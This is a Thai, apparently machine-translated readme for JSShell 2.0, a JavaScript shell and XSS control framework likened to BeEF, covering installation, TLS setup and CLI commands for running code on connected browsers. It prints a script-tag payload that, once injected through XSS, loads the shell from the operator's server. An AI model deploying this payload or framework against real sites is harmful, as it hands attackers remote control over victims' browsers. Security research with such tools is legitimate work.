เชลล์ JavaScript บนเว็บหลายผู้ใช้แบบโต้ตอบ มันถูกสร้างขึ้นในขั้นต้นเพื่อแก้ไขข้อบกพร่องของเบราว์เซอร์ลึกลับระยะไกลในระหว่างการทดลองและการวิจัย เครื่องมือนี้สามารถเชื่อมต่อได้อย่างง่ายดายกับ XSS (Cross Site Scripting) Payload เพื่อให้ได้การดำเนินการรหัสระยะไกลเบราว์เซอร์ (คล้ายกับกรอบเนื้อ)
เวอร์ชัน 2.0 ถูกสร้างขึ้นตั้งแต่เริ่มต้นโดยแนะนำคุณสมบัติที่น่าตื่นเต้นใหม่ความมั่นคงและการบำรุงรักษา
Daniel Abeles
<script> ในไดเรกทอรี resources อัปเดตไฟล์ config.json ด้วยการกำหนดค่าที่คุณต้องการ:
docker ให้เลือกโฮสต์ฐานข้อมูลเป็น db (ซึ่งเป็นชื่อโฮสต์ภายใน)shell.js ทำการเรียก AJAX บางอย่างเพื่อลงทะเบียนและสำรวจความคิดเห็นสำหรับคำสั่งใหม่ โดยปกติแล้วจะเป็น http[s]://{YOUR_SERVER_IP}:{PORT} ตอนนี้ JSShell รองรับ TLS ซึ่งหมายความว่าตอนนี้คุณสามารถสร้างใบรับรอง TLS และป้อนเข้าสู่เว็บเซิร์ฟเวอร์ เว็บเซิร์ฟเวอร์จะอนุมานชื่อโดเมนจากไฟล์ config.json ในการสร้างใบรับรองให้ใช้สคริปต์ create_cert.py ในโฟลเดอร์ scripts :
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > โปรดทราบว่าเว็บเซิร์ฟเวอร์จะต้องหยุดทำงานเพื่อให้สคริปต์ทำงานได้อย่างถูกต้อง ณ จุดนี้เราได้สร้างใบรับรองของเราสำเร็จแล้ว! การดัดแปลงเพียงอย่างเดียวที่เราต้องทำคือ:
config.json ให้เปลี่ยนสคีมาของฟิลด์ URL เป็น httpsdocker-compose.yml เปลี่ยนพอร์ตที่เปิดเผยของ web คอนเทนเนอร์เป็น 443 เวอร์ชันใหม่นี้รองรับการติดตั้งและเรียกใช้ JSShell ผ่าน docker และ docker-compose ตอนนี้ในการติดตั้งและเรียกใช้เฟรมเวิร์ก JSShell ทั้งหมดเพียงแค่เรียกใช้:
$ ./scripts/start_docker_shell.shสิ่งนี้จะ:
JSShell หากคุณยังต้องการใช้วิธีการติดตั้งแฟชั่นเก่าเพียงตรวจสอบให้แน่ใจว่าคุณมีฐานข้อมูล MongoDB และทำงานและอัปเดตไฟล์ config.json ที่อยู่ในไดเรกทอรี resources
ฉันแนะนำให้ใช้สภาพแวดล้อมเสมือนจริงกับ pyenv :
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv หรือใช้ virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activateจากนั้นติดตั้งข้อกำหนด:
$ pip install -r requirements.txt หากคุณใช้วิธี docker ไม่จำเป็นต้องเรียกใช้ขั้นตอนต่อไปนี้
มิฉะนั้นเมื่อเรามีการตั้งค่าฐานข้อมูลเราต้องเริ่มต้นเซิร์ฟเวอร์เว็บ API ที่จะทำ, วิ่ง:
$ python manage.py webสิ่งนี้จะสร้างและเรียกใช้เว็บเซิร์ฟเวอร์ที่รับฟังการเชื่อมต่อที่เข้ามาและให้บริการรหัส JSShell ของเรา
ตอนนี้เพื่อเริ่มต้น JSShell CLI ให้เรียกใช้สคริปต์เดียวกัน แต่ตอนนี้ด้วยธง shell :
$ python manage.py shell หลังจากการตั้งค่าและเรียกใช้ส่วนประกอบที่ต้องการป้อนคำสั่ง help เพื่อดูคำสั่งที่มีอยู่:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell รองรับ 2 วิธีการทำงาน:
เช่นเดียวกับกรอบการควบคุม XSS อื่น ๆ (เช่นเนื้อวัว) JSShell มีความสามารถในการจัดการการใช้ประโยชน์จาก XSS ที่ประสบความสำเร็จ ในตัวอย่างหากคุณสามารถฉีดแท็ก script ให้ฉีดทรัพยากรต่อไปนี้ไปยังน้ำหนักบรรทุกของคุณและไคลเอนต์ใหม่จะปรากฏในคอนโซลของคุณ:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
หากคุณต้องการที่จะดีบักเบราว์เซอร์ที่แปลกใหม่และลึกลับคุณสามารถนำทางไปยัง http[s]://{YOUR_SERVER_IP}:{PORT}/ และไคลเอนต์ใหม่จะปรากฏขึ้นในไคลเอนต์ JSshell CLI ของคุณ ตอนนี้มันสามารถหักล้างได้ผ่านคอนโซล JSShell ของเรา
หลังคาสำหรับ json.prune